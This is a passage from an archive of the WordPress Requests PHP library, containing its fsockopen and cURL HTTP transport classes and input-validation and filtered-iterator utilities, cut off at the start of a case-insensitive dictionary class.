socket (`fsockopenerror`) * @throws \WpOrg\Requests\Exception On socket timeout (`timeout`) */ public function request($url, $headers = [], $data = [], $options = []) { if (InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (!is_array($data) && !is_string($data)) { if ($data === null) { $data = ''; } else { throw InvalidArgument::create(3, '$data', 'array|string', gettype($data)); } } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $options['hooks']->dispatch('fsockopen.before_request'); $url_parts = parse_url($url); if (empty($url_parts)) { throw new Exception('Invalid URL.', 'invalidurl', $url); } $host = $url_parts['host']; $context = stream_context_create(); $verifyname = false; $case_insensitive_headers = new CaseInsensitiveDictionary($headers); // HTTPS support if (isset($url_parts['scheme']) && strtolower($url_parts['scheme']) === 'https') { $remote_socket = 'ssl://' . $host; if (!isset($url_parts['port'])) { $url_parts['port'] = Port::HTTPS; } $context_options = [ 'verify_peer' => true, 'capture_peer_cert' => true, ]; $verifyname = true; // SNI, if enabled (OpenSSL >=0.9.8j) // phpcs:ignore PHPCompatibility.Constants.NewConstants.openssl_tlsext_server_nameFound if (defined('OPENSSL_TLSEXT_SERVER_NAME') && OPENSSL_TLSEXT_SERVER_NAME) { $context_options['SNI_enabled'] = true; if (isset($options['verifyname']) && $options['verifyname'] === false) { $context_options['SNI_enabled'] = false; } } if (isset($options['verify'])) { if ($options['verify'] === false) { $context_options['verify_peer'] = false; $context_options['verify_peer_name'] = false; $verifyname = false; } elseif (is_string($options['verify'])) { $context_options['cafile'] = $options['verify']; } } if (isset($options['verifyname']) && $options['verifyname'] === false) { $context_options['verify_peer_name'] = false; $verifyname = false; } // Handle the PHP 8.4 deprecation (PHP 9.0 removal) of the function signature we use for stream_context_set_option(). // Ref: https://wiki.php.net/rfc/deprecate_functions_with_overloaded_signatures#stream_context_set_option if (function_exists('stream_context_set_options')) { // PHP 8.3+. stream_context_set_options($context, ['ssl' => $context_options]); } else { // PHP < 8.3. stream_context_set_option($context, ['ssl' => $context_options]); } } else { $remote_socket = 'tcp://' . $host; } $this->max_bytes = $options['max_bytes']; if (!isset($url_parts['port'])) { $url_parts['port'] = Port::HTTP; } $remote_socket .= ':' . $url_parts['port']; // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_set_error_handler set_error_handler([$this, 'connect_error_handler'], E_WARNING | E_NOTICE); $options['hooks']->dispatch('fsockopen.remote_socket', [&$remote_socket]); $socket = stream_socket_client($remote_socket, $errno, $errstr, ceil($options['connect_timeout']), STREAM_CLIENT_CONNECT, $context); restore_error_handler(); if ($verifyname && !$this->verify_certificate_from_context($host, $context)) { throw new Exception('SSL certificate did not match the requested domain name', 'ssl.no_match'); } if (!$socket) { if ($errno === 0) { // Connection issue throw new Exception(rtrim($this->connect_error), 'fsockopen.connect_error'); } throw new Exception($errstr, 'fsockopenerror', null, $errno); } $data_format = $options['data_format']; if ($data_format === 'query') { $path = self::format_get($url_parts, $data); $data = ''; } else { $path = self::format_get($url_parts, []); } $options['hooks']->dispatch('fsockopen.remote_host_path', [&$path, $url]); $request_body = ''; $out = sprintf("%s %s HTTP/%.1F\r\n", $options['type'], $path, $options['protocol_version']); if ($options['type'] !== Requests::TRACE) { if (is_array($data)) { $request_body = http_build_query($data, '', '&'); } else { $request_body = $data; } // Always include Content-length on POST requests to prevent // 411 errors from some servers when the body is empty. if (!empty($data) || $options['type'] === Requests::POST) { if (!isset($case_insensitive_headers['Content-Length'])) { $headers['Content-Length'] = strlen($request_body); } if (!isset($case_insensitive_headers['Content-Type'])) { $headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'; } } } if (!isset($case_insensitive_headers['Host'])) { $out .= sprintf('Host: %s', $url_parts['host']); $scheme_lower = strtolower($url_parts['scheme']); if (($scheme_lower === 'http' && $url_parts['port'] !== Port::HTTP) || ($scheme_lower === 'https' && $url_parts['port'] !== Port::HTTPS)) { $out .= ':' . $url_parts['port']; } $out .= "\r\n"; } if (!isset($case_insensitive_headers['User-Agent'])) { $out .= sprintf("User-Agent: %s\r\n", $options['useragent']); } $accept_encoding = $this->accept_encoding(); if (!isset($case_insensitive_headers['Accept-Encoding']) && !empty($accept_encoding)) { $out .= sprintf("Accept-Encoding: %s\r\n", $accept_encoding); } $headers = Requests::flatten($headers); if (!empty($headers)) { $out .= implode("\r\n", $headers) . "\r\n"; } $options['hooks']->dispatch('fsockopen.after_headers', [&$out]); if (substr($out, -2) !== "\r\n") { $out .= "\r\n"; } if (!isset($case_insensitive_headers['Connection'])) { $out .= "Connection: Close\r\n"; } $out .= "\r\n" . $request_body; $options['hooks']->dispatch('fsockopen.before_send', [&$out]); fwrite($socket, $out); $options['hooks']->dispatch('fsockopen.after_send', [$out]); if (!$options['blocking']) { fclose($socket); $fake_headers = ''; $options['hooks']->dispatch('fsockopen.after_request', [&$fake_headers]); return ''; } $timeout_sec = (int) floor($options['timeout']); if ($timeout_sec === $options['timeout']) { $timeout_msec = 0; } else { $timeout_msec = self::SECOND_IN_MICROSECONDS * $options['timeout'] % self::SECOND_IN_MICROSECONDS; } stream_set_timeout($socket, $timeout_sec, $timeout_msec); $response = ''; $body = ''; $headers = ''; $this->info = stream_get_meta_data($socket); $size = 0; $doingbody = false; $download = false; if ($options['filename']) { // phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception. $download = @fopen($options['filename'], 'wb'); if ($download === false) { $error = error_get_last(); throw new Exception($error['message'], 'fopen'); } } while (!feof($socket)) { $this->info = stream_get_meta_data($socket); if ($this->info['timed_out']) { throw new Exception('fsocket timed out', 'timeout'); } $block = fread($socket, Requests::BUFFER_SIZE); if (!$doingbody) { $response .= $block; if (strpos($response, "\r\n\r\n")) { list($headers, $block) = explode("\r\n\r\n", $response, 2); $doingbody = true; } } // Are we in body mode now? if ($doingbody) { $options['hooks']->dispatch('request.progress', [$block, $size, $this->max_bytes]); $data_length = strlen($block); if ($this->max_bytes) { // Have we already hit a limit? if ($size === $this->max_bytes) { continue; } if (($size + $data_length) > $this->max_bytes) { // Limit the length $limited_length = ($this->max_bytes - $size); $block = substr($block, 0, $limited_length); } } $size += strlen($block); if ($download) { fwrite($download, $block); } else { $body .= $block; } } } $this->headers = $headers; if ($download) { fclose($download); } else { $this->headers .= "\r\n\r\n" . $body; } fclose($socket); $options['hooks']->dispatch('fsockopen.after_request', [&$this->headers, &$this->info]); return $this->headers; } /** * Send multiple requests simultaneously * * @param array $requests Request data (array of 'url', 'headers', 'data', 'options') as per {@see \WpOrg\Requests\Transport::request()} * @param array $options Global options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options) { // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ if (empty($requests)) { return []; } if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $responses = []; $class = get_class($this); foreach ($requests as $id => $request) { try { $handler = new $class(); $responses[$id] = $handler->request($request['url'], $request['headers'], $request['data'], $request['options']); $request['options']['hooks']->dispatch('transport.internal.parse_response', [&$responses[$id], $request]); } catch (Exception $e) { $responses[$id] = $e; } if (!is_string($responses[$id])) { $request['options']['hooks']->dispatch('multiple.request.complete', [&$responses[$id], $id]); } } return $responses; } /** * Retrieve the encodings we can accept * * @return string Accept-Encoding header value */ private static function accept_encoding() { $type = []; if (function_exists('gzinflate')) { $type[] = 'deflate;q=1.0'; } if (function_exists('gzuncompress')) { $type[] = 'compress;q=0.5'; } $type[] = 'gzip;q=0.5'; return implode(', ', $type); } /** * Format a URL given GET data * * @param array $url_parts Array of URL parts as received from {@link https://www.php.net/parse_url} * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query} * @return string URL with data */ private static function format_get($url_parts, $data) { if (!empty($data)) { if (empty($url_parts['query'])) { $url_parts['query'] = ''; } $url_parts['query'] .= '&' . http_build_query($data, '', '&'); $url_parts['query'] = trim($url_parts['query'], '&'); } if (isset($url_parts['path'])) { if (isset($url_parts['query'])) { $get = $url_parts['path'] . '?' . $url_parts['query']; } else { $get = $url_parts['path']; } } else { $get = '/'; } return $get; } /** * Error handler for stream_socket_client() * * @param int $errno Error number (e.g. E_WARNING) * @param string $errstr Error message */ public function connect_error_handler($errno, $errstr) { // Double-check we can handle it if (($errno & E_WARNING) === 0 && ($errno & E_NOTICE) === 0) { // Return false to indicate the default error handler should engage return false; } $this->connect_error .= $errstr . "\n"; return true; } /** * Verify the certificate against common name and subject alternative names * * Unfortunately, PHP doesn't check the certificate against the alternative * names, leading things like 'https://www.github.com/' to be invalid. * Instead * * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1 * * @param string $host Host name to verify against * @param resource $context Stream context * @return bool * * @throws \WpOrg\Requests\Exception On failure to connect via TLS (`fsockopen.ssl.connect_error`) * @throws \WpOrg\Requests\Exception On not obtaining a match for the host (`fsockopen.ssl.no_match`) */ public function verify_certificate_from_context($host, $context) { $meta = stream_context_get_options($context); // If we don't have SSL options, then we couldn't make the connection at // all if (empty($meta) || empty($meta['ssl']) || empty($meta['ssl']['peer_certificate'])) { throw new Exception(rtrim($this->connect_error), 'ssl.connect_error'); } $cert = openssl_x509_parse($meta['ssl']['peer_certificate']); return Ssl::verify_certificate($host, $cert); } /** * Self-test whether the transport can be used. * * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}. * * @codeCoverageIgnore * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []) { if (!function_exists('fsockopen')) { return false; } // If needed, check that streams support SSL if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) { if (!extension_loaded('openssl') || !function_exists('openssl_x509_parse')) { return false; } } return true; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Transport/Curl.php���������������������������������������������������������������������0000644�����������������00000046163�14717703502�0012600 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * cURL HTTP transport * * @package Requests\Transport */ namespace WpOrg\Requests\Transport; use RecursiveArrayIterator; use RecursiveIteratorIterator; use WpOrg\Requests\Capability; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Exception\Transport\Curl as CurlException; use WpOrg\Requests\Requests; use WpOrg\Requests\Transport; use WpOrg\Requests\Utility\InputValidator; /** * cURL HTTP transport * * @package Requests\Transport */ final class Curl implements Transport { const CURL_7_10_5 = 0x070A05; const CURL_7_16_2 = 0x071002; /** * Raw HTTP data * * @var string */ public $headers = ''; /** * Raw body data * * @var string */ public $response_data = ''; /** * Information on the current request * * @var array cURL information array, see {@link https://www.php.net/curl_getinfo} */ public $info; /** * cURL version number * * @var int */ public $version; /** * cURL handle * * @var resource|\CurlHandle Resource in PHP < 8.0, Instance of CurlHandle in PHP >= 8.0. */ private $handle; /** * Hook dispatcher instance * * @var \WpOrg\Requests\Hooks */ private $hooks; /** * Have we finished the headers yet? * * @var boolean */ private $done_headers = false; /** * If streaming to a file, keep the file pointer * * @var resource */ private $stream_handle; /** * How many bytes are in the response body? * * @var int */ private $response_bytes; /** * What's the maximum number of bytes we should keep? * * @var int|bool Byte count, or false if no limit. */ private $response_byte_limit; /** * Constructor */ public function __construct() { $curl = curl_version(); $this->version = $curl['version_number']; $this->handle = curl_init(); curl_setopt($this->handle, CURLOPT_HEADER, false); curl_setopt($this->handle, CURLOPT_RETURNTRANSFER, 1); if ($this->version >= self::CURL_7_10_5) { curl_setopt($this->handle, CURLOPT_ENCODING, ''); } if (defined('CURLOPT_PROTOCOLS')) { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_protocolsFound curl_setopt($this->handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); } if (defined('CURLOPT_REDIR_PROTOCOLS')) { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_redir_protocolsFound curl_setopt($this->handle, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); } } /** * Destructor */ public function __destruct() { if (is_resource($this->handle)) { curl_close($this->handle); } } /** * Perform a request * * @param string|Stringable $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return string Raw HTTP result * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data parameter is not an array or string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. * @throws \WpOrg\Requests\Exception On a cURL error (`curlerror`) */ public function request($url, $headers = [], $data = [], $options = []) { if (InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (!is_array($data) && !is_string($data)) { if ($data === null) { $data = ''; } else { throw InvalidArgument::create(3, '$data', 'array|string', gettype($data)); } } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $this->hooks = $options['hooks']; $this->setup_handle($url, $headers, $data, $options); $options['hooks']->dispatch('curl.before_send', [&$this->handle]); if ($options['filename'] !== false) { // phpcs:ignore WordPress.PHP.NoSilencedErrors -- Silenced the PHP native warning in favour of throwing an exception. $this->stream_handle = @fopen($options['filename'], 'wb'); if ($this->stream_handle === false) { $error = error_get_last(); throw new Exception($error['message'], 'fopen'); } } $this->response_data = ''; $this->response_bytes = 0; $this->response_byte_limit = false; if ($options['max_bytes'] !== false) { $this->response_byte_limit = $options['max_bytes']; } if (isset($options['verify'])) { if ($options['verify'] === false) { curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($this->handle, CURLOPT_SSL_VERIFYPEER, 0); } elseif (is_string($options['verify'])) { curl_setopt($this->handle, CURLOPT_CAINFO, $options['verify']); } } if (isset($options['verifyname']) && $options['verifyname'] === false) { curl_setopt($this->handle, CURLOPT_SSL_VERIFYHOST, 0); } curl_exec($this->handle); $response = $this->response_data; $options['hooks']->dispatch('curl.after_send', []); if (curl_errno($this->handle) === CURLE_WRITE_ERROR || curl_errno($this->handle) === CURLE_BAD_CONTENT_ENCODING) { // Reset encoding and try again curl_setopt($this->handle, CURLOPT_ENCODING, 'none'); $this->response_data = ''; $this->response_bytes = 0; curl_exec($this->handle); $response = $this->response_data; } $this->process_response($response, $options); // Need to remove the $this reference from the curl handle. // Otherwise \WpOrg\Requests\Transport\Curl won't be garbage collected and the curl_close() will never be called. curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, null); curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, null); return $this->headers; } /** * Send multiple requests simultaneously * * @param array $requests Request data * @param array $options Global options * @return array Array of \WpOrg\Requests\Response objects (may contain \WpOrg\Requests\Exception or string responses as well) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options) { // If you're not requesting, we can't get any responses ¯\_(ツ)_/¯ if (empty($requests)) { return []; } if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $multihandle = curl_multi_init(); $subrequests = []; $subhandles = []; $class = get_class($this); foreach ($requests as $id => $request) { $subrequests[$id] = new $class(); $subhandles[$id] = $subrequests[$id]->get_subrequest_handle($request['url'], $request['headers'], $request['data'], $request['options']); $request['options']['hooks']->dispatch('curl.before_multi_add', [&$subhandles[$id]]); curl_multi_add_handle($multihandle, $subhandles[$id]); } $completed = 0; $responses = []; $subrequestcount = count($subrequests); $request['options']['hooks']->dispatch('curl.before_multi_exec', [&$multihandle]); do { $active = 0; do { $status = curl_multi_exec($multihandle, $active); } while ($status === CURLM_CALL_MULTI_PERFORM); $to_process = []; // Read the information as needed while ($done = curl_multi_info_read($multihandle)) { $key = array_search($done['handle'], $subhandles, true); if (!isset($to_process[$key])) { $to_process[$key] = $done; } } // Parse the finished requests before we start getting the new ones foreach ($to_process as $key => $done) { $options = $requests[$key]['options']; if ($done['result'] !== CURLE_OK) { //get error string for handle. $reason = curl_error($done['handle']); $exception = new CurlException( $reason, CurlException::EASY, $done['handle'], $done['result'] ); $responses[$key] = $exception; $options['hooks']->dispatch('transport.internal.parse_error', [&$responses[$key], $requests[$key]]); } else { $responses[$key] = $subrequests[$key]->process_response($subrequests[$key]->response_data, $options); $options['hooks']->dispatch('transport.internal.parse_response', [&$responses[$key], $requests[$key]]); } curl_multi_remove_handle($multihandle, $done['handle']); curl_close($done['handle']); if (!is_string($responses[$key])) { $options['hooks']->dispatch('multiple.request.complete', [&$responses[$key], $key]); } $completed++; } } while ($active || $completed < $subrequestcount); $request['options']['hooks']->dispatch('curl.after_multi_exec', [&$multihandle]); curl_multi_close($multihandle); return $responses; } /** * Get the cURL handle for use in a multi-request * * @param string $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation * @return resource|\CurlHandle Subrequest's cURL handle */ public function &get_subrequest_handle($url, $headers, $data, $options) { $this->setup_handle($url, $headers, $data, $options); if ($options['filename'] !== false) { $this->stream_handle = fopen($options['filename'], 'wb'); } $this->response_data = ''; $this->response_bytes = 0; $this->response_byte_limit = false; if ($options['max_bytes'] !== false) { $this->response_byte_limit = $options['max_bytes']; } $this->hooks = $options['hooks']; return $this->handle; } /** * Setup the cURL handle for the given data * * @param string $url URL to request * @param array $headers Associative array of request headers * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD * @param array $options Request options, see {@see \WpOrg\Requests\Requests::response()} for documentation */ private function setup_handle($url, $headers, $data, $options) { $options['hooks']->dispatch('curl.before_request', [&$this->handle]); // Force closing the connection for old versions of cURL (<7.22). if (!isset($headers['Connection'])) { $headers['Connection'] = 'close'; } /** * Add "Expect" header. * * By default, cURL adds a "Expect: 100-Continue" to most requests. This header can * add as much as a second to the time it takes for cURL to perform a request. To * prevent this, we need to set an empty "Expect" header. To match the behaviour of * Guzzle, we'll add the empty header to requests that are smaller than 1 MB and use * HTTP/1.1. * * https://curl.se/mail/lib-2017-07/0013.html */ if (!isset($headers['Expect']) && $options['protocol_version'] === 1.1) { $headers['Expect'] = $this->get_expect_header($data); } $headers = Requests::flatten($headers); if (!empty($data)) { $data_format = $options['data_format']; if ($data_format === 'query') { $url = self::format_get($url, $data); $data = ''; } elseif (!is_string($data)) { $data = http_build_query($data, '', '&'); } } switch ($options['type']) { case Requests::POST: curl_setopt($this->handle, CURLOPT_POST, true); curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); break; case Requests::HEAD: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); curl_setopt($this->handle, CURLOPT_NOBODY, true); break; case Requests::TRACE: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); break; case Requests::PATCH: case Requests::PUT: case Requests::DELETE: case Requests::OPTIONS: default: curl_setopt($this->handle, CURLOPT_CUSTOMREQUEST, $options['type']); if (!empty($data)) { curl_setopt($this->handle, CURLOPT_POSTFIELDS, $data); } } // cURL requires a minimum timeout of 1 second when using the system // DNS resolver, as it uses `alarm()`, which is second resolution only. // There's no way to detect which DNS resolver is being used from our // end, so we need to round up regardless of the supplied timeout. // // https://github.com/curl/curl/blob/4f45240bc84a9aa648c8f7243be7b79e9f9323a5/lib/hostip.c#L606-L609 $timeout = max($options['timeout'], 1); if (is_int($timeout) || $this->version < self::CURL_7_16_2) { curl_setopt($this->handle, CURLOPT_TIMEOUT, ceil($timeout)); } else { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_timeout_msFound curl_setopt($this->handle, CURLOPT_TIMEOUT_MS, round($timeout * 1000)); } if (is_int($options['connect_timeout']) || $this->version < self::CURL_7_16_2) { curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT, ceil($options['connect_timeout'])); } else { // phpcs:ignore PHPCompatibility.Constants.NewConstants.curlopt_connecttimeout_msFound curl_setopt($this->handle, CURLOPT_CONNECTTIMEOUT_MS, round($options['connect_timeout'] * 1000)); } curl_setopt($this->handle, CURLOPT_URL, $url); curl_setopt($this->handle, CURLOPT_USERAGENT, $options['useragent']); if (!empty($headers)) { curl_setopt($this->handle, CURLOPT_HTTPHEADER, $headers); } if ($options['protocol_version'] === 1.1) { curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); } else { curl_setopt($this->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0); } if ($options['blocking'] === true) { curl_setopt($this->handle, CURLOPT_HEADERFUNCTION, [$this, 'stream_headers']); curl_setopt($this->handle, CURLOPT_WRITEFUNCTION, [$this, 'stream_body']); curl_setopt($this->handle, CURLOPT_BUFFERSIZE, Requests::BUFFER_SIZE); } } /** * Process a response * * @param string $response Response data from the body * @param array $options Request options * @return string|false HTTP response data including headers. False if non-blocking. * @throws \WpOrg\Requests\Exception If the request resulted in a cURL error. */ public function process_response($response, $options) { if ($options['blocking'] === false) { $fake_headers = ''; $options['hooks']->dispatch('curl.after_request', [&$fake_headers]); return false; } if ($options['filename'] !== false && $this->stream_handle) { fclose($this->stream_handle); $this->headers = trim($this->headers); } else { $this->headers .= $response; } if (curl_errno($this->handle)) { $error = sprintf( 'cURL error %s: %s', curl_errno($this->handle), curl_error($this->handle) ); throw new Exception($error, 'curlerror', $this->handle); } $this->info = curl_getinfo($this->handle); $options['hooks']->dispatch('curl.after_request', [&$this->headers, &$this->info]); return $this->headers; } /** * Collect the headers as they are received * * @param resource|\CurlHandle $handle cURL handle * @param string $headers Header string * @return integer Length of provided header */ public function stream_headers($handle, $headers) { // Why do we do this? cURL will send both the final response and any // interim responses, such as a 100 Continue. We don't need that. // (We may want to keep this somewhere just in case) if ($this->done_headers) { $this->headers = ''; $this->done_headers = false; } $this->headers .= $headers; if ($headers === "\r\n") { $this->done_headers = true; } return strlen($headers); } /** * Collect data as it's received * * @since 1.6.1 * * @param resource|\CurlHandle $handle cURL handle * @param string $data Body data * @return integer Length of provided data */ public function stream_body($handle, $data) { $this->hooks->dispatch('request.progress', [$data, $this->response_bytes, $this->response_byte_limit]); $data_length = strlen($data); // Are we limiting the response size? if ($this->response_byte_limit) { if ($this->response_bytes === $this->response_byte_limit) { // Already at maximum, move on return $data_length; } if (($this->response_bytes + $data_length) > $this->response_byte_limit) { // Limit the length $limited_length = ($this->response_byte_limit - $this->response_bytes); $data = substr($data, 0, $limited_length); } } if ($this->stream_handle) { fwrite($this->stream_handle, $data); } else { $this->response_data .= $data; } $this->response_bytes += strlen($data); return $data_length; } /** * Format a URL given GET data * * @param string $url Original URL. * @param array|object $data Data to build query using, see {@link https://www.php.net/http_build_query} * @return string URL with data */ private static function format_get($url, $data) { if (!empty($data)) { $query = ''; $url_parts = parse_url($url); if (empty($url_parts['query'])) { $url_parts['query'] = ''; } else { $query = $url_parts['query']; } $query .= '&' . http_build_query($data, '', '&'); $query = trim($query, '&'); if (empty($url_parts['query'])) { $url .= '?' . $query; } else { $url = str_replace($url_parts['query'], $query, $url); } } return $url; } /** * Self-test whether the transport can be used. * * The available capabilities to test for can be found in {@see \WpOrg\Requests\Capability}. * * @codeCoverageIgnore * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []) { if (!function_exists('curl_init') || !function_exists('curl_exec')) { return false; } // If needed, check that our installed curl version supports SSL if (isset($capabilities[Capability::SSL]) && $capabilities[Capability::SSL]) { $curl_version = curl_version(); if (!(CURL_VERSION_SSL & $curl_version['features'])) { return false; } } return true; } /** * Get the correct "Expect" header for the given request data. * * @param string|array $data Data to send either as the POST body, or as parameters in the URL for a GET/HEAD. * @return string The "Expect" header. */ private function get_expect_header($data) { if (!is_array($data)) { return strlen((string) $data) >= 1048576 ? '100-Continue' : ''; } $bytesize = 0; $iterator = new RecursiveIteratorIterator(new RecursiveArrayIterator($data)); foreach ($iterator as $datum) { $bytesize += strlen((string) $datum); if ($bytesize >= 1048576) { return '100-Continue'; } } return ''; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Utility/InputValidator.php�������������������������������������������������������������0000644�����������������00000004720�14717703502�0014300 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Input validation utilities. * * @package Requests\Utilities */ namespace WpOrg\Requests\Utility; use ArrayAccess; use CurlHandle; use Traversable; /** * Input validation utilities. * * @package Requests\Utilities */ final class InputValidator { /** * Verify that a received input parameter is of type string or is "stringable". * * @param mixed $input Input parameter to verify. * * @return bool */ public static function is_string_or_stringable($input) { return is_string($input) || self::is_stringable_object($input); } /** * Verify whether a received input parameter is usable as an integer array key. * * @param mixed $input Input parameter to verify. * * @return bool */ public static function is_numeric_array_key($input) { if (is_int($input)) { return true; } if (!is_string($input)) { return false; } return (bool) preg_match('`^-?[0-9]+$`', $input); } /** * Verify whether a received input parameter is "stringable". * * @param mixed $input Input parameter to verify. * * @return bool */ public static function is_stringable_object($input) { return is_object($input) && method_exists($input, '__toString'); } /** * Verify whether a received input parameter is _accessible as if it were an array_. * * @param mixed $input Input parameter to verify. * * @return bool */ public static function has_array_access($input) { return is_array($input) || $input instanceof ArrayAccess; } /** * Verify whether a received input parameter is "iterable". * * @internal The PHP native `is_iterable()` function was only introduced in PHP 7.1 * and this library still supports PHP 5.6. * * @param mixed $input Input parameter to verify. * * @return bool */ public static function is_iterable($input) { return is_array($input) || $input instanceof Traversable; } /** * Verify whether a received input parameter is a Curl handle. * * The PHP Curl extension worked with resources prior to PHP 8.0 and with * an instance of the `CurlHandle` class since PHP 8.0. * {@link https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.resource2object} * * @param mixed $input Input parameter to verify. * * @return bool */ public static function is_curl_handle($input) { if (is_resource($input)) { return get_resource_type($input) === 'curl'; } if (is_object($input)) { return $input instanceof CurlHandle; } return false; } } ������������������������������������������������Requests/src/Utility/FilteredIterator.php�����������������������������������������������������������0000644�����������������00000004155�14717703502�0014605 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Iterator for arrays requiring filtered values * * @package Requests\Utilities */ namespace WpOrg\Requests\Utility; use ArrayIterator; use ReturnTypeWillChange; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Utility\InputValidator; /** * Iterator for arrays requiring filtered values * * @package Requests\Utilities */ final class FilteredIterator extends ArrayIterator { /** * Callback to run as a filter * * @var callable */ private $callback; /** * Create a new iterator * * @param array $data The array or object to be iterated on. * @param callable $callback Callback to be called on each value * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not iterable. */ public function __construct($data, $callback) { if (InputValidator::is_iterable($data) === false) { throw InvalidArgument::create(1, '$data', 'iterable', gettype($data)); } parent::__construct($data); if (is_callable($callback)) { $this->callback = $callback; } } /** * Prevent unserialization of the object for security reasons. * * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound * * @param array $data Restored array of data originally serialized. * * @return void */ #[ReturnTypeWillChange] public function __unserialize($data) {} // phpcs:enable /** * Perform reinitialization tasks. * * Prevents a callback from being injected during unserialization of an object. * * @return void */ public function __wakeup() { unset($this->callback); } /** * Get the current item's value after filtering * * @return string */ #[ReturnTypeWillChange] public function current() { $value = parent::current(); if (is_callable($this->callback)) { $value = call_user_func($this->callback, $value); } return $value; } /** * Prevent creating a PHP value from a stored representation of the object for security reasons. * * @param string $data The serialized string. * * @return void */ #[ReturnTypeWillChange] public function unserialize($data) {} } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Utility/CaseInsensitiveDictionary.php��������������������������������������������������0000644�����������������00000004713�14717703502�0016457 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Case-insensitive dictionary, suitable for HTTP headers * * @package Requests\Utilities */ namespace WpOrg\Requests\Utility; use ArrayAccess; use ArrayIterator; use IteratorAggregate; use ReturnTypeWillChange; use WpOrg\Requests\Exception; /** * Case-insensitive dictionary, suitable for HTTP headers * * @package Requests\Utilities */ class 